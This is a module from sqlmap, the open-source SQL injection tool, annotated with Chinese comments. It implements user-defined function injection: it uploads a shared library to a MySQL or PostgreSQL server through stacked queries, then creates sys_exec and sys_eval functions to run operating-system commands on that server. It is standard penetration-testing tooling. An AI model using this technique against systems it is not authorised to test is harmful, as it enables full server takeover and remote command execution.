#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

# 导入所需的模块
import os

from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import checkFile
from lib.core.common import dataToStdout
from lib.core.common import isDigit
from lib.core.common import isStackingAvailable
from lib.core.common import readInput
from lib.core.common import unArrayizeValue
from lib.core.compat import xrange
from lib.core.data import conf
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import CHARSET_TYPE
from lib.core.enums import DBMS
from lib.core.enums import EXPECTED
from lib.core.enums import OS
from lib.core.exception import SqlmapFilePathException
from lib.core.exception import SqlmapMissingMandatoryOptionException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.exception import SqlmapUserQuitException
from lib.core.unescaper import unescaper
from lib.request import inject

class UDF(object):
    """
    这个类定义了处理用户自定义函数(UDF)的方法。
    用户自定义函数是数据库中由用户创建的函数,可以扩展数据库的功能。
    """

    def __init__(self):
        # 初始化三个集合/字典来跟踪UDF状态
        self.createdUdf = set()  # 存储已创建的UDF
        self.udfs = {}          # 存储UDF的详细信息
        self.udfToCreate = set() # 存储待创建的UDF

    def _askOverwriteUdf(self, udf):
        """
        询问用户是否要覆盖已存在的UDF
        """
        message = "UDF '%s' already exists, do you " % udf
        message += "want to overwrite it? [y/N] "

        return readInput(message, default='N', boolean=True)

    def _checkExistUdf(self, udf):
        """
        检查指定的UDF是否已经存在于数据库中
        """
        logger.info("checking if UDF '%s' already exist" % udf)

        query = agent.forgeCaseStatement(queries[Backend.getIdentifiedDbms()].check_udf.query % (udf, udf))
        return inject.getValue(query, resumeValue=False, expected=EXPECTED.BOOL, charsetType=CHARSET_TYPE.BINARY)

    def udfCheckAndOverwrite(self, udf):
        """
        检查UDF是否存在,并询问是否覆盖
        """
        exists = self._checkExistUdf(udf)
        overwrite = True

        if exists:
            overwrite = self._askOverwriteUdf(udf)

        if overwrite:
            self.udfToCreate.add(udf)

    def udfCreateSupportTbl(self, dataType):
        """
        为UDF创建支持表
        """
        debugMsg = "creating a support table for user-defined functions"
        logger.debug(debugMsg)

        self.createSupportTbl(self.cmdTblName, self.tblField, dataType)

    def udfForgeCmd(self, cmd):
        """
        格式化命令字符串,确保命令两端有单引号
        """
        if not cmd.startswith("'"):
            cmd = "'%s" % cmd

        if not cmd.endswith("'"):
            cmd = "%s'" % cmd

        return cmd

    def udfExecCmd(self, cmd, silent=False, udfName=None):
        """
        执行UDF命令
        @param cmd: 要执行的命令
        @param silent: 是否静默执行
        @param udfName: UDF名称,默认为sys_exec
        """
        if udfName is None:
            udfName = "sys_exec"

        cmd = unescaper.escape(self.udfForgeCmd(cmd))

        return inject.goStacked("SELECT %s(%s)" % (udfName, cmd), silent)

    def udfEvalCmd(self, cmd, first=None, last=None, udfName=None):
        """
        评估并执行UDF命令,并返回结果
        @param cmd: 要执行的命令
        @param first: 结果的起始位置
        @param last: 结果的结束位置
        @param udfName: UDF名称,默认为sys_eval
        """
        if udfName is None:
            udfName = "sys_eval"

        if conf.direct:
            output = self.udfExecCmd(cmd, udfName=udfName)

            if output and isinstance(output, (list, tuple)):
                new_output = ""

                for line in output:
                    new_output += line.replace("\r", "\n")

                output = new_output
        else:
            cmd = unescaper.escape(self.udfForgeCmd(cmd))

            inject.goStacked("INSERT INTO %s(%s) VALUES (%s(%s))" % (self.cmdTblName, self.tblField, udfName, cmd))
            output = unArrayizeValue(inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False, firstChar=first, lastChar=last, safeCharEncode=False))
            inject.goStacked("DELETE FROM %s" % self.cmdTblName)

        return output

    def udfCheckNeeded(self):
        """
        检查哪些系统UDF是需要的,移除不需要的UDF
        """
        if (not any((conf.fileRead, conf.commonFiles)) or (any((conf.fileRead, conf.commonFiles)) and not Backend.isDbms(DBMS.PGSQL))) and "sys_fileread" in self.sysUdfs:
            self.sysUdfs.pop("sys_fileread")

        if not conf.osPwn:
            self.sysUdfs.pop("sys_bineval")

        if not conf.osCmd and not conf.osShell and not conf.regRead:
            self.sysUdfs.pop("sys_eval")

            if not conf.osPwn and not conf.regAdd and not conf.regDel:
                self.sysUdfs.pop("sys_exec")

    def udfSetRemotePath(self):
        """
        设置UDF在远程服务器上的路径(需要在插件中实现)
        """
        errMsg = "udfSetRemotePath() method must be defined within the plugin"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def udfSetLocalPaths(self):
        """
        设置UDF在本地的路径(需要在插件中实现)
        """
        errMsg = "udfSetLocalPaths() method must be defined within the plugin"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def udfCreateFromSharedLib(self, udf, inpRet):
        """
        从共享库创建UDF(需要在插件中实现)
        """
        errMsg = "udfCreateFromSharedLib() method must be defined within the plugin"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def udfInjectCore(self, udfDict):
        """
        UDF注入的核心方法
        @param udfDict: UDF字典,包含要注入的UDF信息
        """
        written = False

        # 检查每个UDF是否需要覆盖
        for udf in udfDict.keys():
            if udf in self.createdUdf:
                continue

            self.udfCheckAndOverwrite(udf)

        if len(self.udfToCreate) > 0:
            self.udfSetRemotePath()
            checkFile(self.udfLocalFile)
            written = self.writeFile(self.udfLocalFile, self.udfRemoteFile, "binary", forceCheck=True)

            if written is not True:
                errMsg = "there has been a problem uploading the shared library, "
                errMsg += "it looks like the binary file has not been written "
                errMsg += "on the database underlying file system"
                logger.error(errMsg)

                message = "do you want to proceed anyway? Beware that the "
                message += "operating system takeover will fail [y/N] "

                if readInput(message, default='N', boolean=True):
                    written = True
                else:
                    return False
        else:
            return True

        # 创建每个UDF
        for udf, inpRet in udfDict.items():
            if udf in self.udfToCreate and udf not in self.createdUdf:
                self.udfCreateFromSharedLib(udf, inpRet)

        # 根据数据库类型创建支持表
        if Backend.isDbms(DBMS.MYSQL):
            supportTblType = "longtext"
        elif Backend.isDbms(DBMS.PGSQL):
            supportTblType = "text"

        self.udfCreateSupportTbl(supportTblType)

        return written

    def udfInjectSys(self):
        """
        注入系统UDF
        """
        self.udfSetLocalPaths()
        self.udfCheckNeeded()
        return self.udfInjectCore(self.sysUdfs)

    def udfInjectCustom(self):
        """
        注入自定义UDF的主要方法
        包含了用户交互、参数验证、UDF创建和执行等完整流程
        """
        # 检查数据库类型是否支持UDF
        if Backend.getIdentifiedDbms() not in (DBMS.MYSQL, DBMS.PGSQL):
            errMsg = "UDF injection feature only works on MySQL and PostgreSQL"
            logger.error(errMsg)
            return

        # 检查是否支持堆叠查询
        if not isStackingAvailable() and not conf.direct:
            errMsg = "UDF injection feature requires stacked queries SQL injection"
            logger.error(errMsg)
            return

        self.checkDbmsOs()

        # 检查用户权限
        if not self.isDba():
            warnMsg = "functionality requested probably does not work because "
            warnMsg += "the current session user is not a database administrator"
            logger.warning(warnMsg)

        # 获取共享库路径
        if not conf.shLib:
            msg = "what is the local path of the shared library? "

            while True:
                self.udfLocalFile = readInput(msg)

                if self.udfLocalFile:
                    break
                else:
                    logger.warning("you need to specify the local path of the shared library")
        else:
            self.udfLocalFile = conf.shLib

        # 验证共享库文件
        if not os.path.exists(self.udfLocalFile):
            errMsg = "the specified shared library file does not exist"
            raise SqlmapFilePathException(errMsg)

        if not self.udfLocalFile.endswith(".dll") and not self.udfLocalFile.endswith(".so"):
            errMsg = "shared library file must end with '.dll' or '.so'"
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith(".so") and Backend.isOs(OS.WINDOWS):
            errMsg = "you provided a shared object as shared library, but "
            errMsg += "the database underlying operating system is Windows"
            raise SqlmapMissingMandatoryOptionException(errMsg)

        elif self.udfLocalFile.endswith(".dll") and Backend.isOs(OS.LINUX):
            errMsg = "you provided a dynamic-link library as shared library, "
            errMsg += "but the database underlying operating system is Linux"
            raise SqlmapMissingMandatoryOptionException(errMsg)

        # 获取共享库名称和扩展名
        self.udfSharedLibName = os.path.basename(self.udfLocalFile).split(".")[0]
        self.udfSharedLibExt = os.path.basename(self.udfLocalFile).split(".")[1]

        # 获取要创建的UDF数量
        msg = "how many user-defined functions do you want to create "
        msg += "from the shared library? "

        while True:
            udfCount = readInput(msg, default='1')

            if udfCount.isdigit():
                udfCount = int(udfCount)

                if udfCount <= 0:
                    logger.info("nothing to inject then")
                    return
                else:
                    break
            else:
                logger.warning("invalid value, only digits are allowed")

        # 循环获取每个UDF的信息
        for x in xrange(0, udfCount):
            while True:
                msg = "what is the name of the UDF number %d? " % (x + 1)
                udfName = readInput(msg)

                if udfName:
                    self.udfs[udfName] = {}
                    break
                else:
                    logger.warning("you need to specify the name of the UDF")

            # 设置默认返回类型
            if Backend.isDbms(DBMS.MYSQL):
                defaultType = "string"
            elif Backend.isDbms(DBMS.PGSQL):
                defaultType = "text"

            self.udfs[udfName]["input"] = []

            # 获取输入参数数量
            msg = "how many input parameters takes UDF "
            msg += "'%s'? (default: 1) " % udfName

            while True:
                parCount = readInput(msg, default='1')

                if parCount.isdigit() and int(parCount) >= 0:
                    parCount = int(parCount)
                    break

                else:
                    logger.warning("invalid value, only digits >= 0 are allowed")

            # 获取每个输入参数的类型
            for y in xrange(0, parCount):
                msg = "what is the data-type of input parameter "
                msg += "number %d? (default: %s) " % ((y + 1), defaultType)

                while True:
                    parType = readInput(msg, default=defaultType).strip()

                    if parType.isdigit():
                        logger.warning("you need to specify the data-type of the parameter")

                    else:
                        self.udfs[udfName]["input"].append(parType)
                        break

            # 获取返回值类型
            msg = "what is the data-type of the return "
            msg += "value? (default: %s) " % defaultType

            while True:
                retType = readInput(msg, default=defaultType)

                if hasattr(retType, "isdigit") and retType.isdigit():
                    logger.warning("you need to specify the data-type of the return value")
                else:
                    self.udfs[udfName]["return"] = retType
                    break

        # 注入UDF
        success = self.udfInjectCore(self.udfs)

        if success is False:
            self.cleanup(udfDict=self.udfs)
            return False

        # 询问是否要调用注入的UDF
        msg = "do you want to call your injected user-defined "
        msg += "functions now? [Y/n/q] "
        choice = readInput(msg, default='Y').upper()

        if choice == 'N':
            self.cleanup(udfDict=self.udfs)
            return
        elif choice == 'Q':
            self.cleanup(udfDict=self.udfs)
            raise SqlmapUserQuitException

        # 循环调用UDF
        while True:
            udfList = []
            msg = "which UDF do you want to call?"

            for udf in self.udfs.keys():
                udfList.append(udf)
                msg += "\n[%d] %s" % (len(udfList), udf)

            msg += "\n[q] Quit"

            while True:
                choice = readInput(msg).upper()

                if choice == 'Q':
                    break
                elif isDigit(choice) and int(choice) > 0 and int(choice) <= len(udfList):
                    choice = int(choice)
                    break
                else:
                    warnMsg = "invalid value, only digits >= 1 and "
                    warnMsg += "<= %d are allowed" % len(udfList)
                    logger.warning(warnMsg)

            if not isinstance(choice, int):
                break

            # 构建UDF调用命令
            cmd = ""
            count = 1
            udfToCall = udfList[choice - 1]

            for inp in self.udfs[udfToCall]["input"]:
                msg = "what is the value of the parameter number "
                msg += "%d (data-type: %s)? " % (count, inp)

                while True:
                    parValue = readInput(msg)

                    if parValue:
                        if "int" not in inp and "bool" not in inp:
                            parValue = "'%s'" % parValue

                        cmd += "%s," % parValue

                        break
                    else:
                        logger.warning("you need to specify the value of the parameter")

                count += 1

            cmd = cmd[:-1]
            msg = "do you want to retrieve the return value of the "
            msg += "UDF? [Y/n] "

            # 执行UDF并获取返回值
            if readInput(msg, default='Y', boolean=True):
                output = self.udfEvalCmd(cmd, udfName=udfToCall)

                if output:
                    conf.dumper.string("return value", output)
                else:
                    dataToStdout("No return value\n")
            else:
                self.udfExecCmd(cmd, udfName=udfToCall, silent=True)

            msg = "do you want to call this or another injected UDF? [Y/n] "

            if not readInput(msg, default='Y', boolean=True):
                break

        # 清理UDF
        self.cleanup(udfDict=self.udfs)
